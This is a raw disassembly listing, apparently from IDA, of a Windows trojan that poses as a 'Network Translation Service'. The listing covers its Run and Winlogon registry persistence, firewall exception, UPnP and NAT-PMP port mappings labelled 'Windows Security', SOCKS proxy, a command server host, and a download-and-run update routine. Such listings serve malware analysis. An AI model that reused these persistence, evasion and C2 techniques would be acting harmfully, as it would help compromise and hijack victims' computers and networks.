sub_446FC3+Ao aDllNotExtracte db 'DLL not extracted.',0Ah,0 ; DATA XREF: sub_405EFE:loc_406031o ; sub_446E7F:loc_446FB2o aDllOkS db 'DLL ok: <%s>',0Ah,0 ; DATA XREF: sub_405EFE+118o ; sub_446E7F+118o aTryingDllS db 'trying DLL: <%s>',0Ah,0 ; DATA XREF: sub_405EFE+F8o ; sub_446E7F+F8o aDllFoundS db ' DLL found: <%s>',0Ah,0 ; DATA XREF: sub_405EFE+ADo ; sub_446E7F+ADo aCheckingDllS db 'checking DLL: <%s>',0Ah,0 ; DATA XREF: sub_405EFE+8Do ; sub_446E7F+8Do a000_tmp db '000.tmp',0 ; DATA XREF: sub_405EFE+77o ; sub_446E7F+77o aNts_ db 'nts_',0 ; DATA XREF: sub_405EFE+66o ; sub_405EFE+E1o ... aOldDllS db 'old DLL: <%s>',0Ah,0 ; DATA XREF: sub_405EFE+36o ; sub_446E7F+36o aR db 'r',0 ; DATA XREF: sub_405EFE+16o ; sub_446E7F+16o aFileSWrittenWs db 'file <%s> written, wsz=%i',0Ah,0 ; DATA XREF: sub_405DF3+E1o ; sub_446D74+E1o aFileSCreated db 'file <%s> created',0Ah,0 ; DATA XREF: sub_405DF3+B5o ; sub_446D74+B5o aFileSNotCreate db 'file <%s> NOT created',0Ah,0 ; DATA XREF: sub_405DF3+A4o ; sub_446D74+A4o aWb db 'wb+',0 ; DATA XREF: sub_405DF3+90o ; sub_446D74+90o aResourceHereSi db 'resource here, size: %i',0Ah,0 ; DATA XREF: sub_405DF3+50o ; sub_446D74+50o a8001 db '#8001',0 ; DATA XREF: sub_405DF3+2Ao ; sub_446D74+2Ao aDlltestliste_2 db 'DLLTestListenThread: done...',0Ah,0 ; DATA XREF: sub_405CF6:loc_405DABo ; DMN1:loc_446D2Co aDlltestliste_1 db 'DLLTestListenThread: accepting...',0Ah,0 ; DATA XREF: sub_405CF6+52o ; DMN1:00446CC9o aDlltestliste_0 db 'DLLTestListenThread: listening...',0Ah,0 ; DATA XREF: sub_405CF6+37o ; DMN1:00446CAEo aDlltestlistent db 'DLLTestListenThread: binding...',0Ah,0 ; DATA XREF: sub_405CF6+10o ; DMN1:00446C87o aDlltestthreadP db 'DLLTestThread: pulsing...',0Ah,0 ; DATA XREF: sub_405C80+54o ; DMN1:00446C55o asc_40E58D db '**',0 ; DATA XREF: sub_405BE3+5Fo ; sub_4066F1+317o ... aServicefixerth db 'ServiceFixerThread started.',0Ah,0 ; DATA XREF: sub_405BE3+2o ; DMN1:00446B66o asc_40E5AD db '" ',0 ; DATA XREF: sub_405B2A+46o ; sub_446AAB+46o aRegisterservic db 'RegisterServiceCtrlHandler() failed %-(',0Ah,0 ; DATA XREF: DMN0:loc_405ABBo ; DMN1:loc_446A3Co aSetservicest_1 db 'SetServiceStatus(): stopped',0Ah,0 ; DATA XREF: DMN0:00405A9Do ; DMN1:00446A1Eo aSetservicest_0 db 'SetServiceStatus(): running',0Ah,0 ; DATA XREF: DMN0:00405A72o ; DMN1:004469F3o aSetservicestat db 'SetServiceStatus(): start pending',0Ah,0 ; DATA XREF: DMN0:00405A4Co ; DMN1:004469CDo aServicectrldis db 'ServiceCtrlDispatcher()',0Ah,0 ; DATA XREF: DMN0:loc_4059DBo ; DMN1:0044695Co aWaitingForStop db 'WAITING FOR STOP EVENT!',0Ah,0 ; DATA XREF: sub_405870+ACo ; sub_4467F1+ACo aEventCreatonEr db 'EVENT CREATON ERROR: %i',0Ah,0 ; DATA XREF: sub_405870+71o ; sub_4467F1+71o aEventCreated_ db 'EVENT CREATED.',0Ah,0 ; DATA XREF: sub_405870+5Do ; sub_4467F1+5Do aWritingToHkcuA db 'writing to HKCU/autorun key...',0Ah,0 ; DATA XREF: sub_405774+4Fo ; sub_4466F5+4Fo aSoftwareMicr_1 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_405774+3Do ; sub_405774+66o ... aWritingToHklmA db 'writing to HKLM/autorun key...',0Ah,0 ; DATA XREF: sub_405774+26o ; sub_4466F5+26o asc_40E6FF db '*',0 ; DATA XREF: sub_405774+Fo ; sub_4466F5+Fo aLoad db 'load',0 ; DATA XREF: sub_4056B3+15o ; sub_4056B3+40o ... aSoftwareMicr_0 db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows',0 ; DATA XREF: sub_4056B3+1Ao ; sub_4056B3+45o ... asc_40E73B db ',',0 ; DATA XREF: sub_4055DB+A1o ; sub_44655C+A1o aUserinit db 'Userinit',0 ; DATA XREF: sub_4055DB+15o ; sub_4055DB+40o ... aSoftwareMicros db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',0 ; DATA XREF: sub_4055DB+1Ao ; sub_4055DB+45o ... aStartupprogram db 'StartupPrograms',0 ; DATA XREF: sub_405545+14o ; sub_405545+3Bo ... aSystemCurren_1 db 'System\CurrentControlSet\Control\Terminal Server\Wds\rdpwd',0 ; DATA XREF: sub_405545+19o ; sub_405545+40o ... aRegreadCanTRea db 'RegRead(): can',27h,'t read key %s',0Ah,0 ; DATA XREF: sub_4053DF+A2o ; sub_446360+A2o aRegreadReadIBy db 'RegRead(): read %i bytes from %s (%s)',0Ah,0 ; DATA XREF: sub_4053DF+8Eo ; sub_446360+8Eo aRegreadOpenedS db 'RegRead(): opened %s',0Ah,0 ; DATA XREF: sub_4053DF+44o ; sub_446360+44o a6ea9b038C801_0 db '{6EA9B038-C801-4F76-805F-E41ACF9ED164}',0 ; DATA XREF: DMN0:00405303o ; sub_405870+44o ... aDescription db 'Description',0 ; DATA XREF: sub_405187+13Ao ; sub_446108+13Ao aDisplayname db 'DisplayName',0 ; DATA XREF: sub_405187+116o ; sub_446108+116o aLocalsystem db 'LocalSystem',0 ; DATA XREF: sub_405187+E9o ; sub_446108+E9o aObjectname db 'ObjectName',0 ; DATA XREF: sub_405187+F2o ; sub_446108+F2o aErrorcontrol db 'ErrorControl',0 ; DATA XREF: sub_405187+BDo ; sub_405187+D9o ... aStart db 'Start',0 ; DATA XREF: sub_405187+A1o ; sub_446108+A1o aType db 'Type',0 ; DATA XREF: sub_405187+82o ; sub_446108+82o aImagepath db 'ImagePath',0 ; DATA XREF: sub_4050B1+87o ; sub_405187+15Eo ... aSystemCurren_0 db 'SYSTEM\CurrentControlSet\Services\',0 ; DATA XREF: sub_4050B1+Bo ; sub_405187+Ao ... aProvidesHardwa db 'Provides hardware-to-software binary network translation support ' ; DATA XREF: sub_404F2A+9Bo ; sub_405187+124o ... db 'for network protocols. This service can not be stopped.',0 aServiceRegiste db 'service registered',0Ah,0 ; DATA XREF: sub_404F2A:loc_404FB2o ; sub_445EAB:loc_445F33o aNetworkTransla db 'Network Translation Service',0 ; DATA XREF: sub_404F2A+42o ; sub_405187+100o ... aStartingCommTh db 'starting COMM thread...',0Ah,0 ; DATA XREF: sub_404967+17Ao ; DMN1:00445A62o aNatpmpForwarde db 'NATPMP: forwarded to: %i',0Ah,0 ; DATA XREF: sub_404967+13Bo ; DMN1:00445A23o aSocksPortI db 'SOCKS port: %i',0Ah,0 ; DATA XREF: sub_404967+DFo ; DMN1:004459C7o aCanTBindListen db 'can',27h,'t bind listen socket!',0Ah,0 aListener___ db 'listener...',0Ah,0 ; DATA XREF: sub_404967+14o ; DMN1:004458FCo aConnectionClos db 'connection closed.',0Ah,0 ; DATA XREF: sub_4042CD:loc_40493Ao ; DMN1:loc_4458BBo aDataExchangeCo db 'data exchange complete',0Ah,0 ; DATA XREF: sub_4042CD:loc_40492Fo ; DMN1:loc_4458B0o aTransferringDa db 'transferring data...',0Ah,0 ; DATA XREF: sub_4042CD+558o ; DMN1:004457A6o aConnectedToSI db 'connected to %s:%i',0Ah,0 ; DATA XREF: sub_4042CD+522o ; DMN1:00445770o aConnectionToSI db 'connection to %s:%i failed! %-( (%i)',0Ah,0 ; DATA XREF: sub_4042CD+4E1o ; DMN1:0044572Fo aConnectingToSI db 'connecting to %s:%i',0Ah,0 ; DATA XREF: sub_4042CD+4A3o ; DMN1:004456F1o aSocksVIS db 'socks v%i [%s]',0Ah,0 ; DATA XREF: sub_4042CD+119o ; DMN1:00445367o aConnectionReje db 'connection rejected (from [%s])',0Ah,0 ; DATA XREF: sub_4042CD+D8o ; DMN1:00445326o aConnectionFrom db 'connection from [%s]',0Ah,0 ; DATA XREF: sub_4042CD+62o ; DMN1:004452B0o a_win32__nts_um db '_win32__nts_um__',0 ; DATA XREF: sub_40410E+10o ; sub_44508F+10o aSystem db 'SYSTEM',0 ; DATA XREF: sub_4040C3+31o ; sub_445044+31o asc_40EAC3 db 0Dh,' ',0Dh,0 ; DATA XREF: sub_40400E+90o ; DMN1:0044501Fo aISecondsLeft_ db 0Dh,'%i seconds left ',8,8,8,'.',0 ; DATA XREF: sub_40400E+67o ; DMN1:00444FF6o aSrvWaitingISec db 'Srv: waiting %i seconds...',0Ah,0 ; DATA XREF: sub_40400E+56o ; DMN1:00444FE5o aSrvcommthreadD db 'SrvCommThread: done',0Ah,0 ; DATA XREF: sub_403C3F:loc_403FD3o ; DMN1:loc_444F54o ; =============== S U B R O U T I N E ======================================= sub_40EB25 proc near ; DATA XREF: sub_403C3F+351o ; DMN1:00444F11o ; FUNCTION CHUNK AT 0040EBA0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0040EC0A SIZE 00000008 BYTES push ebx push edx push esi cmp ah, [eax] jnb short loc_40EBA0 popa jb short loc_40EBA3 imul ebp, [esi+67h], 64707520h popa jz short sub_40EB9E jb short near ptr aSrvAckReject_0 ; "SRV: ACK rejected IPs failed\n" db 2Eh or al, cs:[eax] sub_40EB25 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40EB3F proc near ; DATA XREF: sub_403C3F+2F5o ; DMN1:00444EB5o push ebx push edx push esi cmp ah, [eax] push ebp push eax inc edi push edx inc ecx inc esp inc ebp and ds:0A3E73h, bh sub_40EB3F endp ; sp-analysis failed ; --------------------------------------------------------------------------- word_40EB52 dw 5253h ; DATA XREF: sub_403C3F:loc_403EF0o ; DMN1:loc_444E71o dd 49203A56h, 53494C50h db 54h, 0Ah, 0 byte_40EB5F db 53h ; DATA XREF: sub_403C3F:loc_403EE0o ; DMN1:loc_444E61o dd 203A5652h, 0A455942h db 0 aSrvAckReject_0 db 'SRV: ACK rejected IPs failed',0Ah,0 ; CODE XREF: sub_40EB25+14j ; DATA XREF: sub_403C3F+252o ... aSrvAckRejected db 'SRV: ACK rejected IPs',0Ah,0 ; DATA XREF: sub_403C3F+239o ; DMN1:00444DF9o ; =============== S U B R O U T I N E ======================================= sub_40EB9E proc near ; CODE XREF: sub_40EB25+12j ; DATA XREF: sub_403C3F+220o ... push ebx push edx sub_40EB9E endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_40EB25 loc_40EBA0: ; CODE XREF: sub_40EB25+5j push esi cmp ah, [eax] loc_40EBA3: ; CODE XREF: sub_40EB25+8j jnb short loc_40EC0A ; END OF FUNCTION CHUNK FOR sub_40EB25 outsb imul ebp, fs:[esi+67h], 6A657220h arpl gs:[ebp+64h], si and [ecx+50h], cl jnb short near ptr aSrvSendingReje+18h popaw ; --------------------------------------------------------------------------- dw 6C69h dd 0A6465h aSrvSendingReje db '* SRV: sending rejected IPs',0Ah,0 ; DATA XREF: sub_403C3F+1B5o ; DMN1:00444D75o aSrvAckHandshac db 'SRV: ACK handshacking failed',0Ah,0 ; DATA XREF: sub_403C3F+19Bo ; DMN1:00444D5Bo byte_40EBFB db 53h ; DATA XREF: sub_403C3F:loc_403DC1o ; DMN1:loc_444D42o dd 203A5652h, 204B4341h, 646E6168h db 73h, 68h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_40EB25 loc_40EC0A: ; CODE XREF: sub_40EB25:loc_40EBA3j popa arpl [ebx+69h], bp outsb or al, [bx+si] ; END OF FUNCTION CHUNK FOR sub_40EB25 ; --------------------------------------------------------------------------- aSrvHandshaking db 'SRV: handshaking failed.',0Ah,0 ; DATA XREF: sub_403C3F+172o ; DMN1:00444D32o aSrvRip?I db 'SRV: rip? %i',0Ah,0 ; DATA XREF: sub_403C3F+141o ; DMN1:00444D01o aSrvHandshaki_0 db 'SRV: handshaking...',0Ah,0 ; DATA XREF: sub_403C3F:loc_403D68o ; DMN1:loc_444CE9o aSrvConnectingF db 'SRV: connecting failed.',0Ah,0 ; DATA XREF: sub_403C3F+119o ; DMN1:00444CD9o aSrvConnecting_ db 'SRV: connecting...',0Ah,0 ; DATA XREF: sub_403C3F+F7o ; DMN1:00444CB7o aSrvSI db 'SRV: [%s:%i]',0Ah,0 ; DATA XREF: sub_403C3F+CBo ; DMN1:00444C8Bo aMyPortI db 'my port [%i]',0Ah,0 ; DATA XREF: sub_403C3F+A8o ; DMN1:00444C68o aDep_mvl0an7_co db 'dep.mvl0an7.com',0 ; DATA XREF: sub_403C3F+2Bo ; DMN1:00444BEBo aAuthorizedIpIS db 'authorized IP #%i [%s]',0Ah,0 ; DATA XREF: sub_403B86+5Fo ; sub_444B07+5Fo aRunningSS___ db 'running %s (%s)...',0Dh,0Ah,0 ; DATA XREF: sub_40399A+14Fo ; DMN1:00444A6Ao asc_40ECD5 db '" "',0 ; DATA XREF: sub_40399A+10Co ; DMN1:00444A27o aUpdate db '*update "',0 ; DATA XREF: sub_40399A+E4o ; DMN1:004449FFo aMsssx db 'msssx',0 ; DATA XREF: sub_40399A+A2o ; DMN1:004449BDo aDownloadedToS db 'downloaded to: <%s>',0Ah,0 ; DATA XREF: sub_40399A+7Bo ; DMN1:00444996o aMsss db 'msss',0 ; DATA XREF: sub_40399A+4Bo ; DMN1:00444966o aUpdateUrlS db 'UPDATE URL: <%s>',0Ah,0 ; DATA XREF: sub_40399A+24o ; DMN1:0044493Fo aDownloadedSS db 'downloaded [%s] --> %s',0Dh,0Ah,0 ; DATA XREF: sub_403838+14Bo ; sub_4447B9+14Bo aDownloadedFail db 'downloaded failed: [%s] --> %s',0Dh,0Ah,0 ; DATA XREF: sub_403838+12Bo ; sub_4447B9+12Bo aDownloadingSS db 'downloading [%s] --> %s',0Dh,0Ah,0 ; DATA XREF: sub_403838+AEo ; sub_4447B9+AEo aFopenS___ db 'fopen(%s)...',0Ah,0 ; DATA XREF: sub_403838+87o ; sub_4447B9+87o aWb_0 db 'wb',0 ; DATA XREF: sub_403838:loc_4038A7o ; sub_4447B9:loc_444828o aInternetopenur db 'InternetOpenUrl(): %i',0Ah,0 ; DATA XREF: sub_403838+51o ; sub_4447B9+51o aInternetopenI db 'InternetOpen(): %i',0Ah,0 ; DATA XREF: sub_403838+22o ; sub_4447B9+22o aMsdownloader db 'msdownloader',0 ; DATA XREF: sub_403838+14o ; sub_4447B9+14o asc_40EDB2 db ' ',0 ; DATA XREF: sub_403723+98o ; DMN0:00404C4Ao ... aCWindowsNts_ex db 'C:\WINDOWS\nts.exe',0 ; DATA XREF: sub_403723:loc_40378Bo ; DMN0:loc_404C1Ao ... asc_40EDC7 db '"',0 ; DATA XREF: sub_403723+33o ; sub_403723+7Fo ... a_win32__nts_sm db '_win32__nts_sm__',0 ; DATA XREF: DMN0:004036B2o ; sub_4036F6+4o ... a__win32__nts_s db '__win32__nts_sdm__',0 ; DATA XREF: sub_403604+10o ; sub_403658+4o ... aNatPmpReques_1 db 'NAT-PMP request #%i - port: [%i]',0Ah,0 ; DATA XREF: sub_403322+208o ; sub_4442A3+208o aNatPmpFwdReque db 'NAT-PMP fwd request #%i - ok',0Ah,0 ; DATA XREF: sub_403322+1BCo ; sub_4442A3+1BCo aReceivingNat_0 db 'receiving NAT-PMP fwd request #%i...',0Ah,0 ; DATA XREF: sub_403322+171o ; sub_4442A3+171o aSetsockoptNa_0 db 'setsockopt NAT-PMP fwd request #%i...',0Ah,0 ; DATA XREF: sub_403322+13Ao ; sub_4442A3+13Ao aSendingNatPmpF db 'sending NAT-PMP fwd request #%i...',0Ah,0 ; DATA XREF: sub_403322+C5o ; sub_4442A3+C5o aRouterIpS db 'router ip: [%s]',0Ah,0 ; DATA XREF: sub_403322+49o ; sub_4442A3+49o aNatPmpReques_0 db 'NAT-PMP request #%i - public IP: [%s]',0Ah,0 ; DATA XREF: sub_403113+1D5o ; sub_444094+1D5o aNatPmpRequestI db 'NAT-PMP request #%i - ok',0Ah,0 ; DATA XREF: sub_403113+192o ; sub_444094+192o aReceivingNatPm db 'receiving NAT-PMP request #%i...',0Ah,0 ; DATA XREF: sub_403113+14Ao ; sub_444094+14Ao aSetsockoptNatP db 'setsockopt NAT-PMP request #%i...',0Ah,0 ; DATA XREF: sub_403113+113o ; sub_444094+113o aSendingNatPmpR db 'sending NAT-PMP request #%i...',0Ah,0 ; DATA XREF: sub_403113+D6o ; sub_444094+D6o aDefaultGateway db 'default gateway: [%s]',0Ah,0 ; DATA XREF: sub_403113+62o ; sub_444094+62o aIupnpDiscove_4 db 'IUPnP discovery request #%i: ok.',0Ah,0 ; DATA XREF: sub_402B02+55Do ; sub_443A83+55Do aControlurl db '<controlURL>',0 ; DATA XREF: sub_402B02:loc_402EFCo ; sub_443A83:loc_443E7Do aService db '</service>',0 ; DATA XREF: sub_402B02:loc_402ECFo ; sub_443A83:loc_443E50o aService_0 db '<service>',0 ; DATA XREF: sub_402B02:loc_402E9Bo ; sub_443A83:loc_443E1Co aUrnSchemasUpnp db 'urn:schemas-upnp-org:service:WANIPConnection:1',0 ; DATA XREF: sub_402B02:loc_402E62o ; sub_443A83:loc_443DE3o aIupnpDiscove_3 db 'IUPnP discovery request #%i: bad (3)...',0Ah,0 ; DATA XREF: sub_402B02+34Fo ; sub_443A83+34Fo aLocationS db 'location: <%s>',0Ah,0 ; DATA XREF: sub_402B02+316o ; sub_443A83+316o aIupnpDiscove_2 db 'IUPnP discovery request #%i: bad (2)...',0Ah,0 ; DATA XREF: sub_402B02+2F5o ; sub_443A83+2F5o aIupnpDiscove_1 db 'IUPnP discovery request #%i: bad (1)...',0Ah,0 ; DATA XREF: sub_402B02+27Do ; sub_443A83+27Do aLocation db 'location',0 ; DATA XREF: sub_402B02:loc_402D60o ; sub_443A83:loc_443CE1o aIupnpDiscove_0 db 'IUPnP discovery request #%i: bad (0)...',0Ah,0 ; DATA XREF: sub_402B02+24Do ; sub_443A83+24Do aSchemasUpnpOrg db 'schemas-upnp-org:service:WANIPConnection:1',0 ; DATA XREF: sub_402B02+230o ; sub_443A83+230o aIupnpDiscovery db 'IUPnP discovery request #%i -- checking...',0Ah,0 ; DATA XREF: sub_402B02+224o ; sub_443A83+224o aReceivingIupnp db 'receiving IUPnP discovery request #%i...',0Ah,0 ; DATA XREF: sub_402B02+1ACo ; sub_443A83+1ACo aSetsockoptIupn db 'setsockopt IUPnP discovery request #%i...',0Ah,0 ; DATA XREF: sub_402B02+164o ; sub_443A83+164o aMSearchHttp1_1 db 'M-SEARCH * HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_402B02+11Fo ; sub_402B02+136o ... db 'Host: 239.255.255.250:1900',0Dh,0Ah db 'ST: upnp:rootdevice',0Dh,0Ah db 'Man: "ssdp:discover"',0Dh,0Ah db 'MX: 3',0Dh,0Ah db 0Dh,0Ah,0 aSendingIupnpDi db 'sending IUPnP discovery request #%i...',0Ah,0 ; DATA XREF: sub_402B02+113o ; sub_443A83+113o aXbind___ db 'xbind...',0Ah,0 ; DATA XREF: sub_402B02+F3o ; sub_443A83+F3o aShit db 'shit!',0Ah,0 ; DATA XREF: sub_402B02+BFo ; sub_443A83+BFo a239_255_255_25 db '239.255.255.250',0 ; DATA XREF: sub_402B02+45o ; sub_402B02+92o ... aHttpAddmapRe_1 db 'HTTP AddMap request [%s:%i]: code: %i...',0Ah,0 ; DATA XREF: sub_402896+235o ; sub_443817+235o aHttpAddmapRe_0 db 'HTTP AddMap request [%s:%i]: received: %i...',0Ah,0 ; DATA XREF: sub_402896+196o ; sub_443817+196o aHttpAddmapRequ db 'HTTP AddMap request: [%s:%i]...',0Ah,0 ; DATA XREF: sub_402896+B0o ; sub_443817+B0o aPostSHttp1_1Ho db 'POST %s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_402896+7Fo ; sub_443817+7Fo db 'HOST: %s:%i',0Dh,0Ah db 'CONTENT-LENGTH: %i',0Dh,0Ah db 'CONTENT-TYPE: text/xml; charset="utf-8"',0Dh,0Ah db 'SOAPACTION: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPo' db 'rtMapping"',0Dh,0Ah db 0Dh,0Ah,0 aMPostSHttp1_1H db 'M-POST %s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_402896+58o ; sub_443817+58o db 'HOST: %s:%i',0Dh,0Ah db 'CONTENT-LENGTH: %i',0Dh,0Ah db 'CONTENT-TYPE: text/xml; charset="utf-8"',0Dh,0Ah db 'SOAPACTION: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPo' db 'rtMapping"',0Dh,0Ah db 0Dh,0Ah,0 aSEnvelopeXmlns db '<s:Envelope',0Dh,0Ah ; DATA XREF: sub_402896+1Ao ; sub_443817+1Ao db 'xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"',0Dh,0Ah db 's:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">',0Dh,0Ah db '<s:Body>',0Dh,0Ah db '<u:AddPortMapping',0Dh,0Ah db 'xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">',0Dh,0Ah db '<NewRemoteHost></NewRemoteHost>',0Dh,0Ah db '<NewExternalPort>%i</NewExternalPort>',0Dh,0Ah db '<NewProtocol>TCP</NewProtocol>',0Dh,0Ah db '<NewInternalPort>%i</NewInternalPort>',0Dh,0Ah db '<NewEnabled>1</NewEnabled>',0Dh,0Ah db '<NewPortMappingDescription>Windows Security</NewPortMappingDescri' db 'ption>',0Dh,0Ah db '<NewLeaseDuration>0</NewLeaseDuration>',0Dh,0Ah db '</u:AddPortMapping>',0Dh,0Ah db '</s:Body>',0Dh,0Ah db '</s:Envelope>',0 a200 db '200',0 ; DATA XREF: sub_4025A9:loc_402838o ; sub_44352A:loc_4437B9o asc_40F5F0 db 0Ah,0 ; DATA XREF: sub_4025A9:loc_402809o ; sub_402896:loc_402A56o ... aHttpDiscover_0 db 'HTTP discovery request [%s:%i]: received: %i...',0Ah,0 ; DATA XREF: sub_4025A9+234o ; sub_44352A+234o aGetSHttp1_1Hos db 'GET %s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_4025A9+173o ; sub_44352A+173o db 'HOST: %s:%i',0Dh,0Ah db 'ACCEPT-LANGUAGE: en',0Dh,0Ah db 0Dh,0Ah,0 aHttpDiscoveryR db 'HTTP discovery request: [%s:%i]...',0Ah,0 ; DATA XREF: sub_4025A9+10Ao ; sub_44352A+10Ao aHttp db 'http://',0 ; DATA XREF: sub_4025A9+25o ; sub_402B02+4A1o ... a_ db '.',0 ; DATA XREF: sub_402562:loc_402584o ; sub_4434E3:loc_443505o a6ea9b038C8014f db '{6EA9B038-C801-4F76-805F-E41ACF9ED165}',0 ; DATA XREF: sub_4023DC+7o ; sub_402449+5o ... aSystemCurrentc db 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\Firewal' ; DATA XREF: sub_402296+8Eo ; DMN0:00402373o ... db 'lPolicy\StandardProfile\AuthorizedApplications\List',0 aNts db 'NTS',0 ; DATA XREF: sub_402296+6Do ; sub_404CB8+19o ... aEnabled db ':*:Enabled:',0 ; DATA XREF: sub_402296+5Ao ; sub_4057FF+28o ... aHandshakeBadVe db 'Handshake: bad version (%i)',0Ah,0 ; DATA XREF: DMN0:00401E88o ; DMN1:00442E09o aHandshakeBadPa db 'Handshake: bad packed (%i)',0Ah,0 ; DATA XREF: DMN0:00401E68o ; sub_408240+91r ... aHandshakeRecvE db 'Handshake: recv() error',0Ah,0 ; DATA XREF: DMN0:00401E53o ; DMN1:00442DD4o aProtorecvDataS db 'protorecv(): data size: %i (of %i)',0Ah,0 ; DATA XREF: sub_401BAC+12Do ; sub_442B2D+12Do ... aPktrecvPacketi db 'PktRecv(): packetId: 0x%03x',0Ah,0 ; DATA XREF: sub_401BAC+DEo ; sub_442B2D+DEo aPktrecvInvalid db 'PktRecv(): invalid signature (%i)',0Ah,0 ; DATA XREF: sub_401BAC+86o ; sub_442B2D+86o aPktsendIIBytes db 'PktSend(%i): %i bytes',0Ah,0 ; DATA XREF: sub_401ADA+68o ; sub_442A5B+68o aSIsS db '%s is %s',0Ah,0 ; DATA XREF: DMN0:004018A6o ; DMN1:00442827o aWinsock2_xInit db 'WinSock 2.x initialized.',0Ah,0 ; DATA XREF: sub_4012EC:loc_40133Co ; sub_44226D:loc_4422BDo ... aWinsock1_1Init db 'WinSock 1.1 initialized.',0Ah,0 ; DATA XREF: sub_4012EC:loc_40132Fo ; sub_44226D:loc_4422B0o aA db 'a',0 ; DATA XREF: DMN0:004011E9o ; DMN1:0044216Ao aPm db 'PM',0 ; DATA XREF: DMN0:loc_401190o ; DMN1:loc_442111o aAm db 'AM',0 ; DATA XREF: DMN0:00401189o ; DMN1:0044210Ao a02i02i02iIIIS db '%02i/%02i/%02i %i:%i:%i%s',0 ; DATA XREF: DMN0:004011C4o ; DMN1:00442145o ... aS_0 db '%s',0 ; DATA XREF: DMN0:0040112Bo ; DMN0:00401147o ... align 4 dword_40F864 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4070F0+5o ; sub_448071+5o dd offset sub_40715A dword_40F870 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_407300+5o ; sub_448281+5o dd offset sub_40735B dword_40F87C dd 0FFFFFFFFh, 0 ; DATA XREF: sub_407400+5o ; sub_448381+5o dd offset sub_40745E dword_40F888 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_407560+5o ; sub_4484E1+5o dd offset sub_4075AD dword_40F894 dd 0FFFFFFFFh, 4078C8h, 4078E3h ; DATA XREF: sub_407870+5o ; DMN1:004487F6o dword_40F8A0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4079E0+5o ; sub_448961+5o dd offset sub_407A5D dword_40F8AC dd 0FFFFFFFFh, 407B85h, 407BA0h, 4000h ; DATA XREF: sub_407AA0+5o ; DMN1:00448A26o dword_40F8BC dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4081A0+5o ; sub_449121+5o dd offset sub_4081FE dd offset loc_40832C dd offset loc_4082E2 dd offset loc_408312 dd offset loc_408312 dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_4082E2 off_40F8EC dd offset loc_40831F ; DATA XREF: sub_408240+2Er ; sub_4491C1+2Er dd offset loc_4082E2 dd offset loc_4082F2 dd offset loc_4082F2 dd offset loc_408360 dd offset loc_408312 dd offset loc_408339 dd offset loc_408302 dd offset loc_408302 dd offset loc_408302 dd offset loc_4082E2 dd offset loc_408353 dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_4082F2 dd offset loc_408312 dd offset loc_408387 dd offset loc_4082F2 dd offset loc_408312 dd offset loc_408312 dd offset loc_408312 dd offset loc_408312 dd offset loc_408312 dd offset loc_408312 dd offset loc_408312 dd offset loc_408312 dd offset loc_408312 dd offset loc_408312 dd offset loc_408312 dd offset loc_408312 dd offset loc_408312 dd offset loc_408312 dd offset loc_408312 dd offset loc_408312 dd offset loc_4082E2 dd offset loc_408312 dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_4082F2 dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_408312 dd offset loc_4082E2 dd offset loc_4082F2 dd offset loc_408312 dd offset loc_40837A dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_40836D dd offset loc_4082E2 dd offset loc_408339 dd offset loc_408346 dd offset loc_408346 dd offset loc_408339 dd offset loc_4082E2 dd offset loc_408312 dd offset loc_40832C dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_408353 dd offset loc_408353 dd offset loc_408353 dd offset loc_408353 dd offset loc_408353 dd offset loc_408353 dd offset loc_408353 dd offset loc_408353 dd offset loc_408353 dd offset loc_408353 dd offset loc_408353 dd offset loc_408353 dd offset loc_408353 dd offset loc_408353 dd offset loc_408353 dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_4082F2 dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_4082E2 dd offset loc_40831F dword_40FAB0 dd 232D2B20h, 30h ; DATA XREF: sub_4087E0+E4o ; sub_4087E0+FDo ... dword_40FAB8 dd 1, 2, 4, 8, 10h, 0 ; DATA XREF: sub_4087E0+EDr ; sub_449761+EDr aHjltzl db 'hjltzL',0 ; DATA XREF: sub_4087E0+1CDo ; sub_449761+1CDo align 4 aConin db 'CONIN$',0 ; DATA XREF: DMN0:00408AAEo ; DMN1:00449A2Fo aConout db 'CONOUT$',0 ; DATA XREF: sub_408A60+1Eo ; sub_4499E1+1Eo align 4 dword_40FAE8 dd 0 ; DATA XREF: sub_408B20+24o ; sub_449AA1+24o dd 